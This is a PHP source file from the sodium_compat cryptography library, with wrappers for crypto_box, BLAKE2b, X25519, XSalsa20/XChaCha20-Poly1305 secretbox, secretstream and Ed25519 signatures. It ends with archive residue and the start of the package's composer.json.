ParagonIE_Sodium_Compat::memzero($secretKey); ParagonIE_Sodium_Compat::memzero($ephemeralPK); ParagonIE_Sodium_Compat::memzero($nonce); } catch (SodiumException $ex) { $secretKey = null; $ephemeralPK = null; $nonce = null; } return $m; } /** * Used by crypto_box() to get the crypto_secretbox() key. * * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $sk * @param string $pk * @return string * @throws SodiumException * @throws TypeError */ public static function box_beforenm($sk, $pk) { return ParagonIE_Sodium_Core_HSalsa20::hsalsa20( str_repeat("\x00", 16), self::scalarmult($sk, $pk) ); } /** * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @return string * @throws Exception * @throws SodiumException * @throws TypeError */ public static function box_keypair() { $sKey = random_bytes(32); $pKey = self::scalarmult_base($sKey); return $sKey . $pKey; } /** * @param string $seed * @return string * @throws SodiumException * @throws TypeError */ public static function box_seed_keypair($seed) { $sKey = ParagonIE_Sodium_Core_Util::substr( hash('sha512', $seed, true), 0, 32 ); $pKey = self::scalarmult_base($sKey); return $sKey . $pKey; } /** * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $sKey * @param string $pKey * @return string * @throws TypeError */ public static function box_keypair_from_secretkey_and_publickey($sKey, $pKey) { return ParagonIE_Sodium_Core_Util::substr($sKey, 0, 32) . ParagonIE_Sodium_Core_Util::substr($pKey, 0, 32); } /** * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $keypair * @return string * @throws RangeException * @throws TypeError */ public static function box_secretkey($keypair) { if (ParagonIE_Sodium_Core_Util::strlen($keypair) !== 64) { throw new RangeException( 'Must be ParagonIE_Sodium_Compat::CRYPTO_BOX_KEYPAIRBYTES bytes long.' ); } return ParagonIE_Sodium_Core_Util::substr($keypair, 0, 32); } /** * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $keypair * @return string * @throws RangeException * @throws TypeError */ public static function box_publickey($keypair) { if (ParagonIE_Sodium_Core_Util::strlen($keypair) !== ParagonIE_Sodium_Compat::CRYPTO_BOX_KEYPAIRBYTES) { throw new RangeException( 'Must be ParagonIE_Sodium_Compat::CRYPTO_BOX_KEYPAIRBYTES bytes long.' ); } return ParagonIE_Sodium_Core_Util::substr($keypair, 32, 32); } /** * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $sKey * @return string * @throws RangeException * @throws SodiumException * @throws TypeError */ public static function box_publickey_from_secretkey($sKey) { if (ParagonIE_Sodium_Core_Util::strlen($sKey) !== ParagonIE_Sodium_Compat::CRYPTO_BOX_SECRETKEYBYTES) { throw new RangeException( 'Must be ParagonIE_Sodium_Compat::CRYPTO_BOX_SECRETKEYBYTES bytes long.' ); } return self::scalarmult_base($sKey); } /** * Decrypt a message encrypted with box(). * * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $ciphertext * @param string $nonce * @param string $keypair * @return string * @throws SodiumException * @throws TypeError */ public static function box_open($ciphertext, $nonce, $keypair) { return self::secretbox_open( $ciphertext, $nonce, self::box_beforenm( self::box_secretkey($keypair), self::box_publickey($keypair) ) ); } /** * Calculate a BLAKE2b hash. * * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $message * @param string|null $key * @param int $outlen * @return string * @throws RangeException * @throws SodiumException * @throws TypeError */ public static function generichash($message, $key = '', $outlen = 32) { // This ensures that ParagonIE_Sodium_Core_BLAKE2b::$iv is initialized ParagonIE_Sodium_Core_BLAKE2b::pseudoConstructor(); $k = null; if (!empty($key)) { /** @var SplFixedArray $k */ $k = ParagonIE_Sodium_Core_BLAKE2b::stringToSplFixedArray($key); if ($k->count() > ParagonIE_Sodium_Core_BLAKE2b::KEYBYTES) { throw new RangeException('Invalid key size'); } } /** @var SplFixedArray $in */ $in = ParagonIE_Sodium_Core_BLAKE2b::stringToSplFixedArray($message); /** @var SplFixedArray $ctx */ $ctx = ParagonIE_Sodium_Core_BLAKE2b::init($k, $outlen); ParagonIE_Sodium_Core_BLAKE2b::update($ctx, $in, $in->count()); /** @var SplFixedArray $out */ $out = new SplFixedArray($outlen); $out = ParagonIE_Sodium_Core_BLAKE2b::finish($ctx, $out); /** @var array */ $outArray = $out->toArray(); return ParagonIE_Sodium_Core_Util::intArrayToString($outArray); } /** * Finalize a BLAKE2b hashing context, returning the hash. * * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $ctx * @param int $outlen * @return string * @throws SodiumException * @throws TypeError */ public static function generichash_final($ctx, $outlen = 32) { if (!is_string($ctx)) { throw new TypeError('Context must be a string'); } $out = new SplFixedArray($outlen); /** @var SplFixedArray $context */ $context = ParagonIE_Sodium_Core_BLAKE2b::stringToContext($ctx); /** @var SplFixedArray $out */ $out = ParagonIE_Sodium_Core_BLAKE2b::finish($context, $out); /** @var array */ $outArray = $out->toArray(); return ParagonIE_Sodium_Core_Util::intArrayToString($outArray); } /** * Initialize a hashing context for BLAKE2b. * * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $key * @param int $outputLength * @return string * @throws RangeException * @throws SodiumException * @throws TypeError */ public static function generichash_init($key = '', $outputLength = 32) { // This ensures that ParagonIE_Sodium_Core_BLAKE2b::$iv is initialized ParagonIE_Sodium_Core_BLAKE2b::pseudoConstructor(); $k = null; if (!empty($key)) { $k = ParagonIE_Sodium_Core_BLAKE2b::stringToSplFixedArray($key); if ($k->count() > ParagonIE_Sodium_Core_BLAKE2b::KEYBYTES) { throw new RangeException('Invalid key size'); } } /** @var SplFixedArray $ctx */ $ctx = ParagonIE_Sodium_Core_BLAKE2b::init($k, $outputLength); return ParagonIE_Sodium_Core_BLAKE2b::contextToString($ctx); } /** * Initialize a hashing context for BLAKE2b. * * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $key * @param int $outputLength * @param string $salt * @param string $personal * @return string * @throws RangeException * @throws SodiumException * @throws TypeError */ public static function generichash_init_salt_personal( $key = '', $outputLength = 32, $salt = '', $personal = '' ) { // This ensures that ParagonIE_Sodium_Core_BLAKE2b::$iv is initialized ParagonIE_Sodium_Core_BLAKE2b::pseudoConstructor(); $k = null; if (!empty($key)) { $k = ParagonIE_Sodium_Core_BLAKE2b::stringToSplFixedArray($key); if ($k->count() > ParagonIE_Sodium_Core_BLAKE2b::KEYBYTES) { throw new RangeException('Invalid key size'); } } if (!empty($salt)) { $s = ParagonIE_Sodium_Core_BLAKE2b::stringToSplFixedArray($salt); } else { $s = null; } if (!empty($salt)) { $p = ParagonIE_Sodium_Core_BLAKE2b::stringToSplFixedArray($personal); } else { $p = null; } /** @var SplFixedArray $ctx */ $ctx = ParagonIE_Sodium_Core_BLAKE2b::init($k, $outputLength, $s, $p); return ParagonIE_Sodium_Core_BLAKE2b::contextToString($ctx); } /** * Update a hashing context for BLAKE2b with $message * * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $ctx * @param string $message * @return string * @throws SodiumException * @throws TypeError */ public static function generichash_update($ctx, $message) { // This ensures that ParagonIE_Sodium_Core_BLAKE2b::$iv is initialized ParagonIE_Sodium_Core_BLAKE2b::pseudoConstructor(); /** @var SplFixedArray $context */ $context = ParagonIE_Sodium_Core_BLAKE2b::stringToContext($ctx); /** @var SplFixedArray $in */ $in = ParagonIE_Sodium_Core_BLAKE2b::stringToSplFixedArray($message); ParagonIE_Sodium_Core_BLAKE2b::update($context, $in, $in->count()); return ParagonIE_Sodium_Core_BLAKE2b::contextToString($context); } /** * Libsodium's crypto_kx(). * * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $my_sk * @param string $their_pk * @param string $client_pk * @param string $server_pk * @return string * @throws SodiumException * @throws TypeError */ public static function keyExchange($my_sk, $their_pk, $client_pk, $server_pk) { return ParagonIE_Sodium_Compat::crypto_generichash( ParagonIE_Sodium_Compat::crypto_scalarmult($my_sk, $their_pk) . $client_pk . $server_pk ); } /** * ECDH over Curve25519 * * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $sKey * @param string $pKey * @return string * * @throws SodiumException * @throws TypeError */ public static function scalarmult($sKey, $pKey) { $q = ParagonIE_Sodium_Core_X25519::crypto_scalarmult_curve25519_ref10($sKey, $pKey); self::scalarmult_throw_if_zero($q); return $q; } /** * ECDH over Curve25519, using the basepoint. * Used to get a secret key from a public key. * * @param string $secret * @return string * * @throws SodiumException * @throws TypeError */ public static function scalarmult_base($secret) { $q = ParagonIE_Sodium_Core_X25519::crypto_scalarmult_curve25519_ref10_base($secret); self::scalarmult_throw_if_zero($q); return $q; } /** * This throws an Error if a zero public key was passed to the function. * * @param string $q * @return void * @throws SodiumException * @throws TypeError */ protected static function scalarmult_throw_if_zero($q) { $d = 0; for ($i = 0; $i < self::box_curve25519xsalsa20poly1305_SECRETKEYBYTES; ++$i) { $d |= ParagonIE_Sodium_Core_Util::chrToInt($q[$i]); } /* branch-free variant of === 0 */ if (-(1 & (($d - 1) >> 8))) { throw new SodiumException('Zero public key is not allowed'); } } /** * XSalsa20-Poly1305 authenticated symmetric-key encryption. * * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $plaintext * @param string $nonce * @param string $key * @return string * @throws SodiumException * @throws TypeError */ public static function secretbox($plaintext, $nonce, $key) { /** @var string $subkey */ $subkey = ParagonIE_Sodium_Core_HSalsa20::hsalsa20($nonce, $key); /** @var string $block0 */ $block0 = str_repeat("\x00", 32); /** @var int $mlen - Length of the plaintext message */ $mlen = ParagonIE_Sodium_Core_Util::strlen($plaintext); $mlen0 = $mlen; if ($mlen0 > 64 - self::secretbox_xsalsa20poly1305_ZEROBYTES) { $mlen0 = 64 - self::secretbox_xsalsa20poly1305_ZEROBYTES; } $block0 .= ParagonIE_Sodium_Core_Util::substr($plaintext, 0, $mlen0); /** @var string $block0 */ $block0 = ParagonIE_Sodium_Core_Salsa20::salsa20_xor( $block0, ParagonIE_Sodium_Core_Util::substr($nonce, 16, 8), $subkey ); /** @var string $c */ $c = ParagonIE_Sodium_Core_Util::substr( $block0, self::secretbox_xsalsa20poly1305_ZEROBYTES ); if ($mlen > $mlen0) { $c .= ParagonIE_Sodium_Core_Salsa20::salsa20_xor_ic( ParagonIE_Sodium_Core_Util::substr( $plaintext, self::secretbox_xsalsa20poly1305_ZEROBYTES ), ParagonIE_Sodium_Core_Util::substr($nonce, 16, 8), 1, $subkey ); } $state = new ParagonIE_Sodium_Core_Poly1305_State( ParagonIE_Sodium_Core_Util::substr( $block0, 0, self::onetimeauth_poly1305_KEYBYTES ) ); try { ParagonIE_Sodium_Compat::memzero($block0); ParagonIE_Sodium_Compat::memzero($subkey); } catch (SodiumException $ex) { $block0 = null; $subkey = null; } $state->update($c); /** @var string $c - MAC || ciphertext */ $c = $state->finish() . $c; unset($state); return $c; } /** * Decrypt a ciphertext generated via secretbox(). * * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $ciphertext * @param string $nonce * @param string $key * @return string * @throws SodiumException * @throws TypeError */ public static function secretbox_open($ciphertext, $nonce, $key) { /** @var string $mac */ $mac = ParagonIE_Sodium_Core_Util::substr( $ciphertext, 0, self::secretbox_xsalsa20poly1305_MACBYTES ); /** @var string $c */ $c = ParagonIE_Sodium_Core_Util::substr( $ciphertext, self::secretbox_xsalsa20poly1305_MACBYTES ); /** @var int $clen */ $clen = ParagonIE_Sodium_Core_Util::strlen($c); /** @var string $subkey */ $subkey = ParagonIE_Sodium_Core_HSalsa20::hsalsa20($nonce, $key); /** @var string $block0 */ $block0 = ParagonIE_Sodium_Core_Salsa20::salsa20( 64, ParagonIE_Sodium_Core_Util::substr($nonce, 16, 8), $subkey ); $verified = ParagonIE_Sodium_Core_Poly1305::onetimeauth_verify( $mac, $c, ParagonIE_Sodium_Core_Util::substr($block0, 0, 32) ); if (!$verified) { try { ParagonIE_Sodium_Compat::memzero($subkey); } catch (SodiumException $ex) { $subkey = null; } throw new SodiumException('Invalid MAC'); } /** @var string $m - Decrypted message */ $m = ParagonIE_Sodium_Core_Util::xorStrings( ParagonIE_Sodium_Core_Util::substr($block0, self::secretbox_xsalsa20poly1305_ZEROBYTES), ParagonIE_Sodium_Core_Util::substr($c, 0, self::secretbox_xsalsa20poly1305_ZEROBYTES) ); if ($clen > self::secretbox_xsalsa20poly1305_ZEROBYTES) { // We had more than 1 block, so let's continue to decrypt the rest. $m .= ParagonIE_Sodium_Core_Salsa20::salsa20_xor_ic( ParagonIE_Sodium_Core_Util::substr( $c, self::secretbox_xsalsa20poly1305_ZEROBYTES ), ParagonIE_Sodium_Core_Util::substr($nonce, 16, 8), 1, (string) $subkey ); } return $m; } /** * XChaCha20-Poly1305 authenticated symmetric-key encryption. * * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $plaintext * @param string $nonce * @param string $key * @return string * @throws SodiumException * @throws TypeError */ public static function secretbox_xchacha20poly1305($plaintext, $nonce, $key) { /** @var string $subkey */ $subkey = ParagonIE_Sodium_Core_HChaCha20::hChaCha20( ParagonIE_Sodium_Core_Util::substr($nonce, 0, 16), $key ); $nonceLast = ParagonIE_Sodium_Core_Util::substr($nonce, 16, 8); /** @var string $block0 */ $block0 = str_repeat("\x00", 32); /** @var int $mlen - Length of the plaintext message */ $mlen = ParagonIE_Sodium_Core_Util::strlen($plaintext); $mlen0 = $mlen; if ($mlen0 > 64 - self::secretbox_xchacha20poly1305_ZEROBYTES) { $mlen0 = 64 - self::secretbox_xchacha20poly1305_ZEROBYTES; } $block0 .= ParagonIE_Sodium_Core_Util::substr($plaintext, 0, $mlen0); /** @var string $block0 */ $block0 = ParagonIE_Sodium_Core_ChaCha20::streamXorIc( $block0, $nonceLast, $subkey ); /** @var string $c */ $c = ParagonIE_Sodium_Core_Util::substr( $block0, self::secretbox_xchacha20poly1305_ZEROBYTES ); if ($mlen > $mlen0) { $c .= ParagonIE_Sodium_Core_ChaCha20::streamXorIc( ParagonIE_Sodium_Core_Util::substr( $plaintext, self::secretbox_xchacha20poly1305_ZEROBYTES ), $nonceLast, $subkey, ParagonIE_Sodium_Core_Util::store64_le(1) ); } $state = new ParagonIE_Sodium_Core_Poly1305_State( ParagonIE_Sodium_Core_Util::substr( $block0, 0, self::onetimeauth_poly1305_KEYBYTES ) ); try { ParagonIE_Sodium_Compat::memzero($block0); ParagonIE_Sodium_Compat::memzero($subkey); } catch (SodiumException $ex) { $block0 = null; $subkey = null; } $state->update($c); /** @var string $c - MAC || ciphertext */ $c = $state->finish() . $c; unset($state); return $c; } /** * Decrypt a ciphertext generated via secretbox_xchacha20poly1305(). * * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $ciphertext * @param string $nonce * @param string $key * @return string * @throws SodiumException * @throws TypeError */ public static function secretbox_xchacha20poly1305_open($ciphertext, $nonce, $key) { /** @var string $mac */ $mac = ParagonIE_Sodium_Core_Util::substr( $ciphertext, 0, self::secretbox_xchacha20poly1305_MACBYTES ); /** @var string $c */ $c = ParagonIE_Sodium_Core_Util::substr( $ciphertext, self::secretbox_xchacha20poly1305_MACBYTES ); /** @var int $clen */ $clen = ParagonIE_Sodium_Core_Util::strlen($c); /** @var string $subkey */ $subkey = ParagonIE_Sodium_Core_HChaCha20::hchacha20( ParagonIE_Sodium_Core_Util::substr($nonce, 0, 16), $key ); /** @var string $block0 */ $block0 = ParagonIE_Sodium_Core_ChaCha20::stream( 64, ParagonIE_Sodium_Core_Util::substr($nonce, 16, 8), $subkey ); $verified = ParagonIE_Sodium_Core_Poly1305::onetimeauth_verify( $mac, $c, ParagonIE_Sodium_Core_Util::substr($block0, 0, 32) ); if (!$verified) { try { ParagonIE_Sodium_Compat::memzero($subkey); } catch (SodiumException $ex) { $subkey = null; } throw new SodiumException('Invalid MAC'); } /** @var string $m - Decrypted message */ $m = ParagonIE_Sodium_Core_Util::xorStrings( ParagonIE_Sodium_Core_Util::substr($block0, self::secretbox_xchacha20poly1305_ZEROBYTES), ParagonIE_Sodium_Core_Util::substr($c, 0, self::secretbox_xchacha20poly1305_ZEROBYTES) ); if ($clen > self::secretbox_xchacha20poly1305_ZEROBYTES) { // We had more than 1 block, so let's continue to decrypt the rest. $m .= ParagonIE_Sodium_Core_ChaCha20::streamXorIc( ParagonIE_Sodium_Core_Util::substr( $c, self::secretbox_xchacha20poly1305_ZEROBYTES ), ParagonIE_Sodium_Core_Util::substr($nonce, 16, 8), (string) $subkey, ParagonIE_Sodium_Core_Util::store64_le(1) ); } return $m; } /** * @param string $key * @return array Returns a state and a header. * @throws Exception * @throws SodiumException */ public static function secretstream_xchacha20poly1305_init_push($key) { # randombytes_buf(out, crypto_secretstream_xchacha20poly1305_HEADERBYTES); $out = random_bytes(24); # crypto_core_hchacha20(state->k, out, k, NULL); $subkey = ParagonIE_Sodium_Core_HChaCha20::hChaCha20( ParagonIE_Sodium_Core_Util::substr($out, 0, 16), $key ); $state = new ParagonIE_Sodium_Core_SecretStream_State( $subkey, ParagonIE_Sodium_Core_Util::substr($out, 16, 8) . str_repeat("\0", 4) ); # _crypto_secretstream_xchacha20poly1305_counter_reset(state); $state->counterReset(); # memcpy(STATE_INONCE(state), out + crypto_core_hchacha20_INPUTBYTES, # crypto_secretstream_xchacha20poly1305_INONCEBYTES); # memset(state->_pad, 0, sizeof state->_pad); return array( $state->toString(), $out ); } /** * @param string $key * @param string $header * @return string Returns a state. * @throws Exception */ public static function secretstream_xchacha20poly1305_init_pull($key, $header) { # crypto_core_hchacha20(state->k, in, k, NULL); $subkey = ParagonIE_Sodium_Core_HChaCha20::hChaCha20( ParagonIE_Sodium_Core_Util::substr($header, 0, 16), $key ); $state = new ParagonIE_Sodium_Core_SecretStream_State( $subkey, ParagonIE_Sodium_Core_Util::substr($header, 16) ); $state->counterReset(); # memcpy(STATE_INONCE(state), in + crypto_core_hchacha20_INPUTBYTES, # crypto_secretstream_xchacha20poly1305_INONCEBYTES); # memset(state->_pad, 0, sizeof state->_pad); # return 0; return $state->toString(); } /** * @param string $state * @param string $msg * @param string $aad * @param int $tag * @return string * @throws SodiumException */ public static function secretstream_xchacha20poly1305_push(&$state, $msg, $aad = '', $tag = 0) { $st = ParagonIE_Sodium_Core_SecretStream_State::fromString($state); # crypto_onetimeauth_poly1305_state poly1305_state; # unsigned char block[64U]; # unsigned char slen[8U]; # unsigned char *c; # unsigned char *mac; $msglen = ParagonIE_Sodium_Core_Util::strlen($msg); $aadlen = ParagonIE_Sodium_Core_Util::strlen($aad); if ((($msglen + 63) >> 6) > 0xfffffffe) { throw new SodiumException( 'message cannot be larger than SODIUM_CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_MESSAGEBYTES_MAX bytes' ); } # if (outlen_p != NULL) { # *outlen_p = 0U; # } # if (mlen > crypto_secretstream_xchacha20poly1305_MESSAGEBYTES_MAX) { # sodium_misuse(); # } # crypto_stream_chacha20_ietf(block, sizeof block, state->nonce, state->k); # crypto_onetimeauth_poly1305_init(&poly1305_state, block); # sodium_memzero(block, sizeof block); $auth = new ParagonIE_Sodium_Core_Poly1305_State( ParagonIE_Sodium_Core_ChaCha20::ietfStream(32, $st->getCombinedNonce(), $st->getKey()) ); # crypto_onetimeauth_poly1305_update(&poly1305_state, ad, adlen); $auth->update($aad); # crypto_onetimeauth_poly1305_update(&poly1305_state, _pad0, # (0x10 - adlen) & 0xf); $auth->update(str_repeat("\0", ((0x10 - $aadlen) & 0xf))); # memset(block, 0, sizeof block); # block[0] = tag; # crypto_stream_chacha20_ietf_xor_ic(block, block, sizeof block, # state->nonce, 1U, state->k); $block = ParagonIE_Sodium_Core_ChaCha20::ietfStreamXorIc( ParagonIE_Sodium_Core_Util::intToChr($tag) . str_repeat("\0", 63), $st->getCombinedNonce(), $st->getKey(), ParagonIE_Sodium_Core_Util::store64_le(1) ); # crypto_onetimeauth_poly1305_update(&poly1305_state, block, sizeof block); $auth->update($block); # out[0] = block[0]; $out = $block[0]; # c = out + (sizeof tag); # crypto_stream_chacha20_ietf_xor_ic(c, m, mlen, state->nonce, 2U, state->k); $cipher = ParagonIE_Sodium_Core_ChaCha20::ietfStreamXorIc( $msg, $st->getCombinedNonce(), $st->getKey(), ParagonIE_Sodium_Core_Util::store64_le(2) ); # crypto_onetimeauth_poly1305_update(&poly1305_state, c, mlen); $auth->update($cipher); $out .= $cipher; unset($cipher); # crypto_onetimeauth_poly1305_update # (&poly1305_state, _pad0, (0x10 - (sizeof block) + mlen) & 0xf); $auth->update(str_repeat("\0", ((0x10 - 64 + $msglen) & 0xf))); # STORE64_LE(slen, (uint64_t) adlen); $slen = ParagonIE_Sodium_Core_Util::store64_le($aadlen); # crypto_onetimeauth_poly1305_update(&poly1305_state, slen, sizeof slen); $auth->update($slen); # STORE64_LE(slen, (sizeof block) + mlen); $slen = ParagonIE_Sodium_Core_Util::store64_le(64 + $msglen); # crypto_onetimeauth_poly1305_update(&poly1305_state, slen, sizeof slen); $auth->update($slen); # mac = c + mlen; # crypto_onetimeauth_poly1305_final(&poly1305_state, mac); $mac = $auth->finish(); $out .= $mac; # sodium_memzero(&poly1305_state, sizeof poly1305_state); unset($auth); # XOR_BUF(STATE_INONCE(state), mac, # crypto_secretstream_xchacha20poly1305_INONCEBYTES); $st->xorNonce($mac); # sodium_increment(STATE_COUNTER(state), # crypto_secretstream_xchacha20poly1305_COUNTERBYTES); $st->incrementCounter(); // Overwrite by reference: $state = $st->toString(); /** @var bool $rekey */ $rekey = ($tag & ParagonIE_Sodium_Compat::CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_TAG_REKEY) !== 0; # if ((tag & crypto_secretstream_xchacha20poly1305_TAG_REKEY) != 0 || # sodium_is_zero(STATE_COUNTER(state), # crypto_secretstream_xchacha20poly1305_COUNTERBYTES)) { # crypto_secretstream_xchacha20poly1305_rekey(state); # } if ($rekey || $st->needsRekey()) { // DO REKEY self::secretstream_xchacha20poly1305_rekey($state); } # if (outlen_p != NULL) { # *outlen_p = crypto_secretstream_xchacha20poly1305_ABYTES + mlen; # } return $out; } /** * @param string $state * @param string $cipher * @param string $aad * @return bool|array{0: string, 1: int} * @throws SodiumException */ public static function secretstream_xchacha20poly1305_pull(&$state, $cipher, $aad = '') { $st = ParagonIE_Sodium_Core_SecretStream_State::fromString($state); $cipherlen = ParagonIE_Sodium_Core_Util::strlen($cipher); # mlen = inlen - crypto_secretstream_xchacha20poly1305_ABYTES; $msglen = $cipherlen - ParagonIE_Sodium_Compat::CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_ABYTES; $aadlen = ParagonIE_Sodium_Core_Util::strlen($aad); # if (mlen > crypto_secretstream_xchacha20poly1305_MESSAGEBYTES_MAX) { # sodium_misuse(); # } if ((($msglen + 63) >> 6) > 0xfffffffe) { throw new SodiumException( 'message cannot be larger than SODIUM_CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_MESSAGEBYTES_MAX bytes' ); } # crypto_stream_chacha20_ietf(block, sizeof block, state->nonce, state->k); # crypto_onetimeauth_poly1305_init(&poly1305_state, block); # sodium_memzero(block, sizeof block); $auth = new ParagonIE_Sodium_Core_Poly1305_State( ParagonIE_Sodium_Core_ChaCha20::ietfStream(32, $st->getCombinedNonce(), $st->getKey()) ); # crypto_onetimeauth_poly1305_update(&poly1305_state, ad, adlen); $auth->update($aad); # crypto_onetimeauth_poly1305_update(&poly1305_state, _pad0, # (0x10 - adlen) & 0xf); $auth->update(str_repeat("\0", ((0x10 - $aadlen) & 0xf))); # memset(block, 0, sizeof block); # block[0] = in[0]; # crypto_stream_chacha20_ietf_xor_ic(block, block, sizeof block, # state->nonce, 1U, state->k); $block = ParagonIE_Sodium_Core_ChaCha20::ietfStreamXorIc( $cipher[0] . str_repeat("\0", 63), $st->getCombinedNonce(), $st->getKey(), ParagonIE_Sodium_Core_Util::store64_le(1) ); # tag = block[0]; # block[0] = in[0]; # crypto_onetimeauth_poly1305_update(&poly1305_state, block, sizeof block); $tag = ParagonIE_Sodium_Core_Util::chrToInt($block[0]); $block[0] = $cipher[0]; $auth->update($block); # c = in + (sizeof tag); # crypto_onetimeauth_poly1305_update(&poly1305_state, c, mlen); $auth->update(ParagonIE_Sodium_Core_Util::substr($cipher, 1, $msglen)); # crypto_onetimeauth_poly1305_update # (&poly1305_state, _pad0, (0x10 - (sizeof block) + mlen) & 0xf); $auth->update(str_repeat("\0", ((0x10 - 64 + $msglen) & 0xf))); # STORE64_LE(slen, (uint64_t) adlen); # crypto_onetimeauth_poly1305_update(&poly1305_state, slen, sizeof slen); $slen = ParagonIE_Sodium_Core_Util::store64_le($aadlen); $auth->update($slen); # STORE64_LE(slen, (sizeof block) + mlen); # crypto_onetimeauth_poly1305_update(&poly1305_state, slen, sizeof slen); $slen = ParagonIE_Sodium_Core_Util::store64_le(64 + $msglen); $auth->update($slen); # crypto_onetimeauth_poly1305_final(&poly1305_state, mac); # sodium_memzero(&poly1305_state, sizeof poly1305_state); $mac = $auth->finish(); # stored_mac = c + mlen; # if (sodium_memcmp(mac, stored_mac, sizeof mac) != 0) { # sodium_memzero(mac, sizeof mac); # return -1; # } $stored = ParagonIE_Sodium_Core_Util::substr($cipher, $msglen + 1, 16); if (!ParagonIE_Sodium_Core_Util::hashEquals($mac, $stored)) { return false; } # crypto_stream_chacha20_ietf_xor_ic(m, c, mlen, state->nonce, 2U, state->k); $out = ParagonIE_Sodium_Core_ChaCha20::ietfStreamXorIc( ParagonIE_Sodium_Core_Util::substr($cipher, 1, $msglen), $st->getCombinedNonce(), $st->getKey(), ParagonIE_Sodium_Core_Util::store64_le(2) ); # XOR_BUF(STATE_INONCE(state), mac, # crypto_secretstream_xchacha20poly1305_INONCEBYTES); $st->xorNonce($mac); # sodium_increment(STATE_COUNTER(state), # crypto_secretstream_xchacha20poly1305_COUNTERBYTES); $st->incrementCounter(); # if ((tag & crypto_secretstream_xchacha20poly1305_TAG_REKEY) != 0 || # sodium_is_zero(STATE_COUNTER(state), # crypto_secretstream_xchacha20poly1305_COUNTERBYTES)) { # crypto_secretstream_xchacha20poly1305_rekey(state); # } // Overwrite by reference: $state = $st->toString(); /** @var bool $rekey */ $rekey = ($tag & ParagonIE_Sodium_Compat::CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_TAG_REKEY) !== 0; if ($rekey || $st->needsRekey()) { // DO REKEY self::secretstream_xchacha20poly1305_rekey($state); } return array($out, $tag); } /** * @param string $state * @return void * @throws SodiumException */ public static function secretstream_xchacha20poly1305_rekey(&$state) { $st = ParagonIE_Sodium_Core_SecretStream_State::fromString($state); # unsigned char new_key_and_inonce[crypto_stream_chacha20_ietf_KEYBYTES + # crypto_secretstream_xchacha20poly1305_INONCEBYTES]; # size_t i; # for (i = 0U; i < crypto_stream_chacha20_ietf_KEYBYTES; i++) { # new_key_and_inonce[i] = state->k[i]; # } $new_key_and_inonce = $st->getKey(); # for (i = 0U; i < crypto_secretstream_xchacha20poly1305_INONCEBYTES; i++) { # new_key_and_inonce[crypto_stream_chacha20_ietf_KEYBYTES + i] = # STATE_INONCE(state)[i]; # } $new_key_and_inonce .= ParagonIE_Sodium_Core_Util::substR($st->getNonce(), 0, 8); # crypto_stream_chacha20_ietf_xor(new_key_and_inonce, new_key_and_inonce, # sizeof new_key_and_inonce, # state->nonce, state->k); $st->rekey(ParagonIE_Sodium_Core_ChaCha20::ietfStreamXorIc( $new_key_and_inonce, $st->getCombinedNonce(), $st->getKey(), ParagonIE_Sodium_Core_Util::store64_le(0) )); # for (i = 0U; i < crypto_stream_chacha20_ietf_KEYBYTES; i++) { # state->k[i] = new_key_and_inonce[i]; # } # for (i = 0U; i < crypto_secretstream_xchacha20poly1305_INONCEBYTES; i++) { # STATE_INONCE(state)[i] = # new_key_and_inonce[crypto_stream_chacha20_ietf_KEYBYTES + i]; # } # _crypto_secretstream_xchacha20poly1305_counter_reset(state); $st->counterReset(); $state = $st->toString(); } /** * Detached Ed25519 signature. * * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $message * @param string $sk * @return string * @throws SodiumException * @throws TypeError */ public static function sign_detached($message, $sk) { return ParagonIE_Sodium_Core_Ed25519::sign_detached($message, $sk); } /** * Attached Ed25519 signature. (Returns a signed message.) * * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $message * @param string $sk * @return string * @throws SodiumException * @throws TypeError */ public static function sign($message, $sk) { return ParagonIE_Sodium_Core_Ed25519::sign($message, $sk); } /** * Opens a signed message. If valid, returns the message. * * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $signedMessage * @param string $pk * @return string * @throws SodiumException * @throws TypeError */ public static function sign_open($signedMessage, $pk) { return ParagonIE_Sodium_Core_Ed25519::sign_open($signedMessage, $pk); } /** * Verify a detached signature of a given message and public key. * * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $signature * @param string $message * @param string $pk * @return bool * @throws SodiumException * @throws TypeError */ public static function sign_verify_detached($signature, $message, $pk) { return ParagonIE_Sodium_Core_Ed25519::verify_detached($signature, $message, $pk); } } PK! HH composer.jsonnu[{ "name": "paragonie/sodium_compat", "description": "Pure PHP implementation of libsodium; uses the PHP extension if it exists", "keywords": [ "PHP", "cryptography", "elliptic curve", "elliptic curve cryptography", "Pure-PHP cryptography", "side-channel resistant", "Curve25519", "X25519", "ECDH", "Elliptic Curve Diffie-Hellman", "Ed25519", "RFC 7748", "RFC 8032", "EdDSA", "Edwards-curve Digital Signature Algorithm", "ChaCha20", "Salsa20", "Xchacha20", "Xsalsa20", "Poly1305", "BLAKE2b", "public-key cryptography", "secret-key cryptography", "AEAD", "Chapoly", "Salpoly", "ChaCha20-Poly1305", "XSalsa20-Poly1305", "XChaCha20-Poly1305", "encryption", "authentication", "libsodium" ], "license": "ISC", "authors": [ { 